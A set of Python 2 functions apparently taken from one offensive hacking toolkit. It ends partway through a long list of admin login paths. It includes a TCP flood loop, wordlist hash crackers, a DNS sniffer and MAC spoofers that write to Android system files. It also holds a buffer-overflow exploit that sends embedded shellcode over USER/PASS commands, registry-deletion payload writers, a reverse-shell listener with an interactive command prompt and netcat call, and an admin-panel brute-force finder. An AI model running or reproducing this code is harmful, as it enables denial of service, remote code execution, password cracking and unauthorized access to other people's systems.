def main(self): print print_process("Starting Flooding on {host} at {time}".format( host=self.ip_address, time=src.source.use.time.strftime("%H:%M:%S"))) src.source.use.time.sleep(1) try: byte = src.source.use.random._urandom(4096) sock = src.source.use.socket.socket( src.source.use.socket.AF_INET, src.source.use.socket.SOCK_STREAM) sock.connect((self.ip_address, self.port_address)) sent = 0 try: while True: sock.sendto(byte, (self.ip_address, self.port_address)) sent = sent + 1 self.port_address = self.port_address + 1 print_process( "Attacking Flooding send {p} bytes on {host}:{port}". format(p=sent, host=self.ip_address, port=self.port_address)) if self.port_address == 65535: self.port_address = 1 except KeyboardInterrupt: print_error("Stop process... Exiting...") src.source.use.time.sleep(1) except src.source.use.socket.error as error: print_error(str(error))
def crack_hashSHA224(password, password_list): global value try: with open(password_list, "r") as dictionary: words = dictionary.readlines() hashed = {} try: src.process.verbose.verbose_mode(words) for word in words: sha224 = src.source.use.hashlib.sha224() sha224.update(word[:-1]) value = sha224.hexdigest() hashed[word[:-1]] = value for (key, value) in hashed.items(): if password == value: print_process("Found valid password is {}".format(key)) bin.interfaces.exploit.exploit_cracking.Main_Interactive_Cracker() if not password in value: print_error("Not found valid password!!") bin.interfaces.exploit.exploit_cracking.Main_Interactive_Cracker() except KeyboardInterrupt: print_warning("Interrupt user, canceling...") exit(0) except IOError as error: print_error(str(error))
def start_sniff(pkt): if src.source.use.IP in pkt: ip_src = pkt[src.source.use.IP].src ip_dst = pkt[src.source.use.IP].dst if pkt.haslayer(src.source.use.DNS) and pkt.getlayer( src.source.use.DNS).qr == 0: print_process( str(ip_src) + ' => ' + str(ip_dst) + ': ' + '(' + pkt.getlayer(src.source.use.DNS).qd.name + ')')
def main(self): try: src.source.use.sniff(iface=self.interfaces, prn=start_sniff, filter="port udp 53") print_warning("Shutting down...") except KeyboardInterrupt: print_process("Interrupt by user, Exiting...!!") exit(0)
def with_random(self): try: src.source.use.random.seed() self.new_mac = self.mac_address[:8].lower().replace('-', ':') for i in xrange(0, 6): if i % 2 == 0: self.new_mac += ':' self.new_mac += '0123456789abcdef'[src.source.use.random.randint(0, 15)] src.source.use.subprocess.call(['sudo', 'ifconfig', self.interfaces, 'down']) process = src.source.use.subprocess.Popen(['sudo', 'ifconfig', self.interfaces, 'hw', 'ether', self.new_mac], stdout=src.source.use.subprocess.PIPE, stderr=src.source.use.subprocess.PIPE).wait() src.source.use.subprocess.call(['sudo', 'ifconfig', self.interfaces, 'up']) if self.new_mac == self.mac_address: self.with_random() print_process("Completed successfully!!") except IOError as error: print_error(str(error)) except KeyboardInterrupt: print_warning("Canceling process...") exit(0)
def runCrack(self): print print_process("Starting Cracking Hash at {time}".format( time=src.source.use.time.strftime("%H:%M:%S"))) print_process("Password Hash: {pwd}".format(pwd=self.hash_password)) print_process( "Wordlist Path: {words}".format(words=self.password_files)) if len(self.hash_password) == 32: crack_hashMD5(self.hash_password, self.password_files) elif len(self.hash_password) == 40: crack_hashSHA1(self.hash_password, self.password_files) elif len(self.hash_password) == 56: crack_hashSHA224(self.hash_password, self.password_files) elif len(self.hash_password) == 64: crack_hashSHA256(self.hash_password, self.password_files) elif len(self.hash_password) == 96: crack_hashSHA384(self.hash_password, self.password_files) elif len(self.hash_password) == 128: crack_hashSHA512(self.hash_password, self.password_files) else: print_error("Error, Unknown hash password!!") bin.interfaces.exploit.exploit_cracking.Main_Interactive_Cracker()
def run_overflow(self): try: shell_code = ( "\xbf\x5c\x2a\x11\xb3\xd9\xe5\xd9\x74\x24\xf4\x5d\x33\xc9" "\xb1\x56\x83\xc5\x04\x31\x7d\x0f\x03\x7d\x53\xc8\xe4\x4f" "\x83\x85\x07\xb0\x53\xf6\x8e\x55\x62\x24\xf4\x1e\xd6\xf8" "\x7e\x72\xda\x73\xd2\x67\x69\xf1\xfb\x88\xda\xbc\xdd\xa7" "\xdb\x70\xe2\x64\x1f\x12\x9e\x76\x73\xf4\x9f\xb8\x86\xf5" "\xd8\xa5\x68\xa7\xb1\xa2\xda\x58\xb5\xf7\xe6\x59\x19\x7c" "\x56\x22\x1c\x43\x22\x98\x1f\x94\x9a\x97\x68\x0c\x91\xf0" "\x48\x2d\x76\xe3\xb5\x64\xf3\xd0\x4e\x77\xd5\x28\xae\x49" "\x19\xe6\x91\x65\x94\xf6\xd6\x42\x46\x8d\x2c\xb1\xfb\x96" "\xf6\xcb\x27\x12\xeb\x6c\xac\x84\xcf\x8d\x61\x52\x9b\x82" "\xce\x10\xc3\x86\xd1\xf5\x7f\xb2\x5a\xf8\xaf\x32\x18\xdf" "\x6b\x1e\xfb\x7e\x2d\xfa\xaa\x7f\x2d\xa2\x13\xda\x25\x41" "\x40\x5c\x64\x0e\xa5\x53\x97\xce\xa1\xe4\xe4\xfc\x6e\x5f" "\x63\x4d\xe7\x79\x74\xb2\xd2\x3e\xea\x4d\xdc\x3e\x22\x8a" "\x88\x6e\x5c\x3b\xb0\xe4\x9c\xc4\x65\xaa\xcc\x6a\xd5\x0b" "\xbd\xca\x85\xe3\xd7\xc4\xfa\x14\xd8\x0e\x8d\x12\x16\x6a" "\xde\xf4\x5b\x8c\xf1\x58\xd5\x6a\x9b\x70\xb3\x25\x33\xb3" "\xe0\xfd\xa4\xcc\xc2\x51\x7d\x5b\x5a\xbc\xb9\x64\x5b\xea" "\xea\xc9\xf3\x7d\x78\x02\xc0\x9c\x7f\x0f\x60\xd6\xb8\xd8" "\xfa\x86\x0b\x78\xfa\x82\xfb\x19\x69\x49\xfb\x54\x92\xc6" "\xac\x31\x64\x1f\x38\xac\xdf\x89\x5e\x2d\xb9\xf2\xda\xea" "\x7a\xfc\xe3\x7f\xc6\xda\xf3\xb9\xc7\x66\xa7\x15\x9e\x30" "\x11\xd0\x48\xf3\xcb\x8a\x27\x5d\x9b\x4b\x04\x5e\xdd\x53" "\x41\x28\x01\xe5\x3c\x6d\x3e\xca\xa8\x79\x47\x36\x49\x85" "\x92\xf2\x79\xcc\xbe\x53\x12\x89\x2b\xe6\x7f\x2a\x86\x25" "\x86\xa9\x22\xd6\x7d\xb1\x47\xd3\x3a\x75\xb4\xa9\x53\x10" "\xba\x1e\x53\x31") print print_process("Connecting to host {target} at {times}".format( target=self.ip_address, times=src.source.use.time.strftime("%H:%M:%S-%p"))) src.source.use.time.sleep(1) ret = src.source.use.struct.pack('<L', 0x7C874413) padding = '\x90' * 2048 crash = '\x41' * 1024 + ret + padding + shell_code sock = src.source.use.socket.socket( src.source.use.socket.AF_INET, src.source.use.socket.SOCK_STREAM) # noinspection PyBroadException try: sock.connect((self.ip_address, self.port_address)) print_process("Sending stage buffer {} bytes crash".format( len(crash))) sock.send("USER " + "\x41" * 100 + "\r\n") sock.recv(4096) sock.send("PASS " + crash + "\r\n") sock.recv(4096) sock.send("PWND " + crash + "\r\n") sock.close() print_process("Completed exploit buffer overflow.") except src.source.use.socket.error as error_connect: print_error("Error Code: [{code}] Message: {message}".format( code=str(error_connect[0]), message=error_connect[1])) except KeyboardInterrupt: print_warning("Canceling process.... Exiting..") src.source.use.sys.exit(0)
def writing_payload(self): try: print_process("Loaded payload Delete_Registry...") src.source.use.time.sleep(1) with open(self.filename, "w") as output_payload: print_process("Generating payload... please wait...") src.source.use.time.sleep(1) output_payload.write(self.code) output_payload.close() src.source.use.time.sleep(0.9) print_process("Successfully completed") except KeyboardInterrupt: print_process("Interrupt user, Exiting...") src.source.use.sys.exit(0) except IOError as error: print_error(str(error))
def writing_payload(self): try: print_process("Loaded payload Caplock Error...") src.source.use.time.sleep(1) with open(self.filename, "w") as output_payload: print_process("Generating payload... please wait..") src.source.use.time.sleep(2.5) output_payload.write(self.code) output_payload.close() src.source.use.time.sleep(1) print_process("Successfully completed") except IOError as error: print_error(str(error))
def main_generate(self): try: print_process("Process loaded payload handler...") src.source.use.time.sleep(1) with open(self.FILES, 'w') as payload_files: payload_files.write(self.payload) payload_files.close() print_process("Process open new window to generate payload") src.source.use.time.sleep(3) building_payload(self.FILES) print_process("Generate payload to execute success!!") except KeyboardInterrupt: print_error("Interrupt user, Stopping...") src.source.use.time.sleep(1)
def run_scan(self): try: print start = src.source.use.time.time() print_process("Starting Port Scanning at {time}".format( time=src.source.use.time.strftime("%H:%M:%S %p"))) print_process("Scanning host {0} ({1})".format( self.hostname, src.source.use.socket.gethostbyname(self.hostname))) for port in range(min_port, max_port): try: response = scan_port(self.hostname, port) if response == 0: print_process("Port is open -> {}".format(port)) except Exception: print_error("Canceling...") src.source.use.sys.exit(0) end = src.source.use.time.time() print_process("Scanning completed at %s seconds" % round(end - start)) except KeyboardInterrupt: print_warning("Exiting...")
def writing_payload(self): try: print_process("Loaded payload Change Extension...") src.source.use.time.sleep(2) with open(self.File_Name, "w") as payload_output: print_process("Generating payload... please wait...") src.source.use.time.sleep(1) payload_output.write(self.code) payload_output.close() src.source.use.time.sleep(0.9) print_process("Successfully completed") except KeyboardInterrupt: print_error("Interrupt, Exiting...!!") src.source.use.sys.exit(0) except IOError as error: print_error(str(error))
def replace_random(self): try: src.source.use.random.seed() self.new_macAddress = self.mac_address[:8].lower().replace('-', ':') for i in xrange(0, 6): if i % 2 == 0: self.new_macAddress += ':' self.new_macAddress += '0123456789abcdef'[src.source.use.random.randint(0, 15)] print_process("Started Change New Mac Address...") src.source.use.time.sleep(2) src.source.use.os.system('echo ' + self.new_macAddress + '>/data/.nvmac.info') print_process("Processing on background jobs") src.source.use.time.sleep(2) src.source.use.os.system('echo ' + self.new_macAddress + '>/data/misc/wifi/wifimac') src.source.use.os.system('echo ' + self.new_macAddress + '>/efs/wifi/.mac.info') src.source.use.os.system('echo ' + self.new_macAddress + '>/efs/wifi/.mac.cob') print_process("Just a moments...."); src.source.use.time.sleep(1) print_process("Completed successfully.") if self.new_macAddress == self.mac_address: self.replace_random() except KeyboardInterrupt: print_warning("Canceling process...") exit(1)
def replace_special(): try: print_process("Started Changing Mac address...") src.source.use.time.sleep(3) mac_bypass = ['02:D7:1D:3D:FC:52', '02:CO:D8:06:9A:E2', '02:60:30:AC:FB:17', '02:27:27:27:27:02', '02:18:B9:37:68:13', '02:02:17:08:19:45', '02:00:01:02:03:04', '48:D2:24:6F:95:EB' ] change_random = src.source.use.random.choice(mac_bypass) print_process("Processing Changing... Please dont stop script!") src.source.use.time.sleep(1) subprocess.call(['echo ' + change_random + '>/data/.nvmac.info']) subprocess.call(['echo ' + change_random + '>/data/misc/wifi/wifimac']) subprocess.call(['echo ' + change_random + '>/efs/wifi/.mac.info']) subprocess.call(['echo ' + change_random + '>/efs/wifi/.mac.cob']) print_process("Completed successfully") except KeyboardInterrupt: print_warning("Canceling process....") exit(0)
def main_handler(self): try: sock = src.source.use.socket.socket(src.source.use.socket.AF_INET, src.source.use.socket.SOCK_STREAM) sock.bind((self.hostname, self.port_address)) print_process( "Started listening handler on socket {host}:{port}".format( host=self.hostname, port=self.port_address ) ) src.source.use.time.sleep(1) print_process("Waiting connection from exploit target") sock.listen(5) try: socks, add = sock.accept() print_process( "Exploit connect on {host}:{port} at {time}".format( host=str(add[0]), port=str(add[1]), time=src.source.use.time.strftime("%H:%M:%S") ) ) src.source.use.time.sleep(1) self.version_shell = socks.recv(1024) print_process(self.version_shell) print_process( "Command shell session opened ({h}:{p} -> {hs}:{ps})\n".format( h=self.hostname, p=self.port_address, hs=str(add[0]), ps=str(add[1]) ) ) src.source.use.time.sleep(1) while True: try: self.cmd = raw_input(pycolor_style.L + "shell"+ pycolor_style.W +" > ") if self.cmd == "mkdir": try: direct = self.cmd.split()[2] socks.send('mkdir {}'.format(direct)) except IndexError: print_warning("usage: mkdir [filename]") elif self.cmd == "help": pass elif self.cmd == "interact": socks.send("interact") if src.source.use.os.name == "nt": src.Logging.print_stdout.print_error( "Windows Not support, Sorry -_-" ) continue else: src.source.use.os.system( "nc -lvp {port}".format( port=self.port_address ) ) elif self.cmd == "del": try: filename = self.cmd.split()[2] socks.send('del {}'.format(filename)) except IndexError: print_warning("usage: del [file / folder]") else: socks.send(self.cmd) result = socks.recv(4096) print(str(result)) except KeyboardInterrupt: print print_error( "Close interaction with {host}:{port}".format( host=str(add[0]), port=str(add[1]) ) ) socks.close() break except EOFError: print_error("Close session...") socks.close() break except src.source.use.socket.error as error: print_error(str(error)) except src.source.use.socket.error as error_socket: print_error(str(error_socket)) except KeyboardInterrupt: print_error("User Interrupt..!! Aborted.")
def run_search(self): try: host = self.site.replace('http://', '').rsplit("/", 1)[0] site_target = host.lower() admin_path = ['admin/', 'administrator/', 'admin1/', 'admin2/', 'admin3/', 'admin4/', 'admin5/', 'usuarios/', 'usuario/', 'administrator/', 'moderator/', 'webadmin/', 'adminarea/', 'bb-admin/', 'adminLogin/', 'admin_area/', 'panel-administracion/', 'instadmin/', 'memberadmin/', 'administratorlogin/', 'adm/', 'admin/account.php', 'admin/index.php', 'admin/login.php', 'admin/admin.php', 'admin/account.php', 'admin_area/admin.php', 'admin_area/login.php', 'siteadmin/login.php', 'siteadmin/index.php', 'siteadmin/login.html', 'admin/account.html', 'admin/index.html', 'admin/login.html', 'admin/admin.html', 'admin_area/index.php', 'bb-admin/index.php', 'bb-admin/login.php', 'bb-admin/admin.php', 'admin/home.php', 'admin_area/login.html', 'admin_area/index.html', 'admin/controlpanel.php', 'admin.php', 'admincp/index.asp', 'admincp/login.asp', 'admincp/index.html', 'admin/account.html', 'adminpanel.html', 'webadmin.html', 'webadmin/index.html', 'webadmin/admin.html', 'webadmin/login.html', 'admin/admin_login.html', 'admin_login.html', 'panel-administracion/login.html', 'admin/cp.php', 'cp.php', 'administrator/index.php', 'administrator/login.php', 'nsw/admin/login.php', 'webadmin/login.php', 'admin/admin_login.php', 'admin_login.php', 'administrator/account.php', 'administrator.php', 'admin_area/admin.html', 'pages/admin/admin-login.php', 'admin/admin-login.php', 'admin-login.php', 'bb-admin/index.html', 'bb-admin/login.html', 'acceso.php', 'bb-admin/admin.html', 'admin/home.html', 'login.php', 'modelsearch/login.php', 'moderator.php', 'moderator/login.php', 'moderator/admin.php', 'account.php', 'pages/admin/admin-login.html', 'admin/admin-login.html', 'admin-login.html', 'controlpanel.php', 'admincontrol.php', 'admin/adminLogin.html', 'adminLogin.html', 'admin/adminLogin.html', 'home.html', 'rcjakar/admin/login.php', 'adminarea/index.html', 'adminarea/admin.html', 'webadmin.php', 'webadmin/index.php', 'webadmin/admin.php', 'admin/controlpanel.html', 'admin.html', 'admin/cp.html', 'cp.html', 'adminpanel.php', 'moderator.html', 'administrator/index.html', 'administrator/login.html', 'user.html', 'administrator/account.html', 'administrator.html', 'login.html', 'modelsearch/login.html', 'moderator/login.html', 'adminarea/login.html', 'panel-administracion/index.html', 'panel-administracion/admin.html', 'modelsearch/index.html', 'modelsearch/admin.html', 'admincontrol/login.html', 'adm/index.html', 'adm.html', 'moderator/admin.html', 'user.php', 'account.html', 'controlpanel.html', 'admincontrol.html', 'panel-administracion/login.php', 'wp-login.php', 'adminLogin.php', 'admin/adminLogin.php', 'home.php', 'admin.php', 'adminarea/index.php', 'adminarea/admin.php', 'adminarea/login.php', 'panel-administracion/index.php', 'panel-administracion/admin.php', 'modelsearch/index.php', 'modelsearch/admin.php', 'admincontrol/login.php', 'adm/admloginuser.php', 'admloginuser.php', 'admin2.php', 'admin2/login.php', 'admin2/index.php', 'usuarios/login.php', 'adm/index.php', 'adm.php', 'affiliate.php', 'adm_auth.php', 'memberadmin.php', 'administratorlogin.php', 'admin/', 'administrator/', 'admin1/', 'admin2/', 'admin3/', 'admin4/', 'admin5/', 'moderator/', 'webadmin/', 'adminarea/', 'bb-admin/', 'adminLogin/', 'admin_area/', 'panel-administracion/', 'instadmin/', 'memberadmin/', 'administratorlogin/', 'adm/', 'account.asp', 'admin/account.asp', 'admin/index.asp', 'admin/login.asp', 'admin/admin.asp', 'admin_area/admin.asp', 'admin_area/login.asp', 'admin/account.html', 'admin/index.html', 'admin/login.html', 'admin/admin.html', 'admin_area/admin.html', 'admin_area/login.html', 'admin_area/index.html', 'admin_area/index.asp', 'bb-admin/index.asp', 'bb-admin/login.asp', 'bb-admin/admin.asp', 'bb-admin/index.html', 'bb-admin/login.html', 'bb-admin/admin.html', 'admin/home.html', 'admin/controlpanel.html', 'admin.html', 'admin/cp.html', 'cp.html', 'administrator/index.html', 'administrator/login.html', 'administrator/account.html', 'administrator.html', 'login.html', 'modelsearch/login.html', 'moderator.html', 'moderator/login.html', 'moderator/admin.html', 'account.html', 'controlpanel.html', 'admincontrol.html', 'admin_login.html', 'panel-administracion/login.html', 'admin/home.asp', 'admin/controlpanel.asp', 'admin.asp', 'pages/admin/admin-login.asp', 'admin/admin-login.asp', 'admin-login.asp', 'admin/cp.asp', 'cp.asp', 'administrator/account.asp', 'administrator.asp', 'acceso.asp', 'login.asp', 'modelsearch/login.asp', 'moderator.asp', 'moderator/login.asp', 'administrator/login.asp', 'moderator/admin.asp', 'controlpanel.asp', 'admin/account.html', 'adminpanel.html', 'webadmin.html', 'pages/admin/admin-login.html', 'admin/admin-login.html', 'webadmin/index.html', 'webadmin/admin.html', 'webadmin/login.html', 'user.asp', 'user.html', 'admincp/index.asp', 'admincp/login.asp', 'admincp/index.html', 'admin/adminLogin.html', 'adminLogin.html', 'admin/adminLogin.html', 'home.html', 'adminarea/index.html', 'adminarea/admin.html', 'adminarea/login.html', 'panel-administracion/index.html', 'panel-administracion/admin.html', 'modelsearch/index.html', 'modelsearch/admin.html', 'admin/admin_login.html', 'admincontrol/login.html', 'adm/index.html', 'adm.html', 'admincontrol.asp', 'admin/account.asp', 'adminpanel.asp', 'webadmin.asp', 'webadmin/index.asp', 'webadmin/admin.asp', 'webadmin/login.asp', 'admin/admin_login.asp', 'admin_login.asp', 'panel-administracion/login.asp', 'adminLogin.asp', 'admin/adminLogin.asp', 'home.asp', 'admin.asp', 'adminarea/index.asp', 'adminarea/admin.asp', 'adminarea/login.asp', 'admin-login.html', 'panel-administracion/index.asp', 'panel-administracion/admin.asp', 'modelsearch/index.asp', 'modelsearch/admin.asp', 'administrator/index.asp', 'admincontrol/login.asp', 'adm/admloginuser.asp', 'admloginuser.asp', 'admin2.asp', 'admin2/login.asp', 'admin2/index.asp', 'adm/index.asp', 'adm.asp', 'affiliate.asp', 'adm_auth.asp', 'memberadmin.asp', 'administratorlogin.asp', 'siteadmin/login.asp', 'siteadmin/index.asp', 'siteadmin/login.html', 'admin/', 'administrator/', 'admin1/', 'admin2/', 'admin3/', 'admin4/', 'admin5/', 'usuarios/', 'usuario/', 'administrator/', 'moderator/', 'webadmin/', 'adminarea/', 'bb-admin/', 'adminLogin/', 'admin_area/', 'panel-administracion/', 'instadmin/', 'memberadmin/', 'administratorlogin/', 'adm/', 'admin/account.cfm', 'admin/index.cfm', 'admin/login.cfm', 'admin/admin.cfm', 'admin/account.cfm', 'admin_area/admin.cfm', 'admin_area/login.cfm', 'siteadmin/login.cfm', 'siteadmin/index.cfm', 'siteadmin/login.html', 'admin/account.html', 'admin/index.html', 'admin/login.html', 'admin/admin.html', 'admin_area/index.cfm', 'bb-admin/index.cfm', 'bb-admin/login.cfm', 'bb-admin/admin.cfm', 'admin/home.cfm', 'admin_area/login.html', 'admin_area/index.html', 'admin/controlpanel.cfm', 'admin.cfm', 'admincp/index.asp', 'admincp/login.asp', 'admincp/index.html', 'admin/account.html', 'adminpanel.html', 'webadmin.html', 'webadmin/index.html', 'webadmin/admin.html', 'webadmin/login.html', 'admin/admin_login.html', 'admin_login.html', 'panel-administracion/login.html', 'admin/cp.cfm', 'cp.cfm', 'administrator/index.cfm', 'administrator/login.cfm', 'nsw/admin/login.cfm', 'webadmin/login.cfm', 'admin/admin_login.cfm', 'admin_login.cfm', 'administrator/account.cfm', 'administrator.cfm', 'admin_area/admin.html', 'pages/admin/admin-login.cfm', 'admin/admin-login.cfm', 'admin-login.cfm', 'bb-admin/index.html', 'bb-admin/login.html', 'bb-admin/admin.html', 'admin/home.html', 'login.cfm', 'modelsearch/login.cfm', 'moderator.cfm', 'moderator/login.cfm', 'moderator/admin.cfm', 'account.cfm', 'pages/admin/admin-login.html', 'admin/admin-login.html', 'admin-login.html', 'controlpanel.cfm', 'admincontrol.cfm', 'admin/adminLogin.html', 'acceso.cfm', 'adminLogin.html', 'admin/adminLogin.html', 'home.html', 'rcjakar/admin/login.cfm', 'adminarea/index.html', 'adminarea/admin.html', 'webadmin.cfm', 'webadmin/index.cfm', 'webadmin/admin.cfm', 'admin/controlpanel.html', 'admin.html', 'admin/cp.html', 'cp.html', 'adminpanel.cfm', 'moderator.html', 'administrator/index.html', 'administrator/login.html', 'user.html', 'administrator/account.html', 'administrator.html', 'login.html', 'modelsearch/login.html', 'moderator/login.html', 'adminarea/login.html', 'panel-administracion/index.html', 'panel-administracion/admin.html', 'modelsearch/index.html', 'modelsearch/admin.html', 'admincontrol/login.html', 'adm/index.html', 'adm.html', 'moderator/admin.html', 'user.cfm', 'account.html', 'controlpanel.html', 'admincontrol.html', 'panel-administracion/login.cfm', 'wp-login.cfm', 'adminLogin.cfm', 'admin/adminLogin.cfm', 'home.cfm', 'admin.cfm', 'adminarea/index.cfm', 'adminarea/admin.cfm', 'adminarea/login.cfm', 'panel-administracion/index.cfm', 'panel-administracion/admin.cfm', 'modelsearch/index.cfm', 'modelsearch/admin.cfm', 'admincontrol/login.cfm', 'adm/admloginuser.cfm', 'admloginuser.cfm', 'admin2.cfm', 'admin2/login.cfm', 'admin2/index.cfm', 'usuarios/login.cfm', 'adm/index.cfm', 'adm.cfm', 'affiliate.cfm', 'adm_auth.cfm', 'memberadmin.cfm', 'administratorlogin.cfm', 'admin/', 'administrator/', 'admin1/', 'admin2/', 'admin3/', 'admin4/', 'admin5/', 'usuarios/', 'usuario/', 'administrator/', 'moderator/', 'webadmin/', 'adminarea/', 'bb-admin/', 'adminLogin/', 'admin_area/', 'panel-administracion/', 'instadmin/', 'memberadmin/', 'administratorlogin/', 'adm/', 'admin/account.js', 'admin/index.js', 'admin/login.js', 'admin/admin.js', 'admin/account.js', 'admin_area/admin.js', 'admin_area/login.js', 'siteadmin/login.js', 'siteadmin/index.js', 'siteadmin/login.html', 'admin/account.html', 'admin/index.html', 'admin/login.html', 'admin/admin.html', 'admin_area/index.js', 'bb-admin/index.js', 'bb-admin/login.js', 'bb-admin/admin.js', 'admin/home.js', 'admin_area/login.html', 'admin_area/index.html', 'admin/controlpanel.js', 'admin.js', 'admincp/index.asp', 'admincp/login.asp', 'admincp/index.html', 'admin/account.html', 'adminpanel.html', 'webadmin.html', 'webadmin/index.html', 'webadmin/admin.html', 'webadmin/login.html', 'admin/admin_login.html', 'admin_login.html', 'panel-administracion/login.html', 'admin/cp.js', 'cp.js', 'administrator/index.js', 'administrator/login.js', 'nsw/admin/login.js', 'webadmin/login.js', 'admin/admin_login.js', 'admin_login.js', 'administrator/account.js', 'administrator.js', 'admin_area/admin.html', 'pages/admin/admin-login.js', 'admin/admin-login.js', 'admin-login.js', 'bb-admin/index.html', 'bb-admin/login.html', 'bb-admin/admin.html', 'admin/home.html', 'login.js', 'modelsearch/login.js', 'moderator.js', 'moderator/login.js', 'moderator/admin.js', 'account.js', 'pages/admin/admin-login.html', 'admin/admin-login.html', 'admin-login.html', 'controlpanel.js', 'admincontrol.js', 'admin/adminLogin.html', 'adminLogin.html', 'admin/adminLogin.html', 'home.html', 'rcjakar/admin/login.js', 'adminarea/index.html', 'adminarea/admin.html', 'webadmin.js', 'webadmin/index.js', 'acceso.js', 'webadmin/admin.js', 'admin/controlpanel.html', 'admin.html', 'admin/cp.html', 'cp.html', 'adminpanel.js', 'moderator.html', 'administrator/index.html', 'administrator/login.html', 'user.html', 'administrator/account.html', 'administrator.html', 'login.html', 'modelsearch/login.html', 'moderator/login.html', 'adminarea/login.html', 'panel-administracion/index.html', 'panel-administracion/admin.html', 'modelsearch/index.html', 'modelsearch/admin.html', 'admincontrol/login.html', 'adm/index.html', 'adm.html', 'moderator/admin.html', 'user.js', 'account.html', 'controlpanel.html', 'admincontrol.html', 'panel-administracion/login.js', 'wp-login.js', 'adminLogin.js', 'admin/adminLogin.js', 'home.js', 'admin.js', 'adminarea/index.js', 'adminarea/admin.js', 'adminarea/login.js', 'panel-administracion/index.js', 'panel-administracion/admin.js', 'modelsearch/index.js', 'modelsearch/admin.js', 'admincontrol/login.js', 'adm/admloginuser.js', 'admloginuser.js', 'admin2.js', 'admin2/login.js', 'admin2/index.js', 'usuarios/login.js', 'adm/index.js', 'adm.js', 'affiliate.js', 'adm_auth.js', 'memberadmin.js', 'administratorlogin.js', 'admin/', 'administrator/', 'admin1/', 'admin2/', 'admin3/', 'admin4/', 'admin5/', 'usuarios/', 'usuario/', 'administrator/', 'moderator/', 'webadmin/', 'adminarea/', 'bb-admin/', 'adminLogin/', 'admin_area/', 'panel-administracion/', 'instadmin/', 'memberadmin/', 'administratorlogin/', 'adm/', 'admin/account.cgi', 'admin/index.cgi', 'admin/login.cgi', 'admin/admin.cgi', 'admin/account.cgi', 'admin_area/admin.cgi', 'admin_area/login.cgi', 'siteadmin/login.cgi', 'siteadmin/index.cgi', 'siteadmin/login.html', 'admin/account.html', 'admin/index.html', 'admin/login.html', 'admin/admin.html', 'admin_area/index.cgi', 'bb-admin/index.cgi', 'bb-admin/login.cgi', 'bb-admin/admin.cgi', 'admin/home.cgi', 'admin_area/login.html', 'admin_area/index.html', 'admin/controlpanel.cgi', 'admin.cgi', 'admincp/index.asp', 'admincp/login.asp', 'admincp/index.html', 'admin/account.html', 'adminpanel.html', 'webadmin.html', 'webadmin/index.html', 'webadmin/admin.html', 'webadmin/login.html', 'admin/admin_login.html', 'admin_login.html', 'panel-administracion/login.html', 'admin/cp.cgi', 'cp.cgi', 'administrator/index.cgi', 'administrator/login.cgi', 'nsw/admin/login.cgi', 'webadmin/login.cgi', 'admin/admin_login.cgi', 'admin_login.cgi', 'administrator/account.cgi', 'administrator.cgi', 'admin_area/admin.html', 'pages/admin/admin-login.cgi', 'admin/admin-login.cgi', 'admin-login.cgi', 'bb-admin/index.html', 'bb-admin/login.html', 'bb-admin/admin.html', 'admin/home.html', 'login.cgi', 'modelsearch/login.cgi', 'moderator.cgi', 'moderator/login.cgi', 'moderator/admin.cgi', 'account.cgi', 'pages/admin/admin-login.html', 'admin/admin-login.html', 'admin-login.html', 'controlpanel.cgi', 'admincontrol.cgi', 'admin/adminLogin.html', 'adminLogin.html', 'admin/adminLogin.html', 'home.html', 'rcjakar/admin/login.cgi', 'adminarea/index.html', 'adminarea/admin.html', 'webadmin.cgi', 'webadmin/index.cgi', 'acceso.cgi', 'webadmin/admin.cgi', 'admin/controlpanel.html', 'admin.html', 'admin/cp.html', 'cp.html', 'adminpanel.cgi', 'moderator.html', 'administrator/index.html', 'administrator/login.html', 'user.html', 'administrator/account.html', 'administrator.html', 'login.html', 'modelsearch/login.html', 'moderator/login.html', 'adminarea/login.html', 'panel-administracion/index.html', 'panel-administracion/admin.html', 'modelsearch/index.html', 'modelsearch/admin.html', 'admincontrol/login.html', 'adm/index.html', 'adm.html', 'moderator/admin.html', 'user.cgi', 'account.html', 'controlpanel.html', 'admincontrol.html', 'panel-administracion/login.cgi', 'wp-login.cgi', 'adminLogin.cgi', 'admin/adminLogin.cgi', 'home.cgi', 'admin.cgi', 'adminarea/index.cgi', 'adminarea/admin.cgi', 'adminarea/login.cgi', 'panel-administracion/index.cgi', 'panel-administracion/admin.cgi', 'modelsearch/index.cgi', 'modelsearch/admin.cgi', 'admincontrol/login.cgi', 'adm/admloginuser.cgi', 'admloginuser.cgi', 'admin2.cgi', 'admin2/login.cgi', 'admin2/index.cgi', 'usuarios/login.cgi', 'adm/index.cgi', 'adm.cgi', 'affiliate.cgi', 'adm_auth.cgi', 'memberadmin.cgi', 'administratorlogin.cgi', 'admin/', 'administrator/', 'admin1/', 'admin2/', 'admin3/', 'admin4/', 'admin5/', 'usuarios/', 'usuario/', 'administrator/', 'moderator/', 'webadmin/', 'adminarea/', 'bb-admin/', 'adminLogin/', 'admin_area/', 'panel-administracion/', 'instadmin/', 'memberadmin/', 'administratorlogin/', 'adm/', 'admin/account.brf', 'admin/index.brf', 'admin/login.brf', 'admin/admin.brf', 'admin/account.brf', 'admin_area/admin.brf', 'admin_area/login.brf', 'siteadmin/login.brf', 'siteadmin/index.brf', 'siteadmin/login.html', 'admin/account.html', 'admin/index.html', 'admin/login.html', 'admin/admin.html', 'admin_area/index.brf', 'bb-admin/index.brf', 'bb-admin/login.brf', 'bb-admin/admin.brf', 'admin/home.brf', 'admin_area/login.html', 'admin_area/index.html', 'admin/controlpanel.brf', 'admin.brf', 'admincp/index.asp', 'admincp/login.asp', 'admincp/index.html', 'admin/account.html', 'adminpanel.html', 'webadmin.html', 'webadmin/index.html', 'webadmin/admin.html', 'webadmin/login.html', 'admin/admin_login.html', 'admin_login.html', 'panel-administracion/login.html', 'admin/cp.brf', 'cp.brf', 'administrator/index.brf', 'administrator/login.brf', 'nsw/admin/login.brf', 'webadmin/login.brfbrf', 'admin/admin_login.brf', 'admin_login.brf', 'administrator/account.brf', 'administrator.brf', 'acceso.brf', 'admin_area/admin.html', 'pages/admin/admin-login.brf', 'admin/admin-login.brf', 'admin-login.brf', 'bb-admin/index.html', 'bb-admin/login.html', 'bb-admin/admin.html', 'admin/home.html', 'login.brf', 'modelsearch/login.brf', 'moderator.brf', 'moderator/login.brf', 'moderator/admin.brf', 'account.brf', 'pages/admin/admin-login.html', 'admin/admin-login.html', 'admin-login.html', 'controlpanel.brf', 'admincontrol.brf', 'admin/adminLogin.html', 'adminLogin.html', 'admin/adminLogin.html', 'home.html', 'rcjakar/admin/login.brf', 'adminarea/index.html', 'adminarea/admin.html', 'webadmin.brf', 'webadmin/index.brf', 'webadmin/admin.brf', 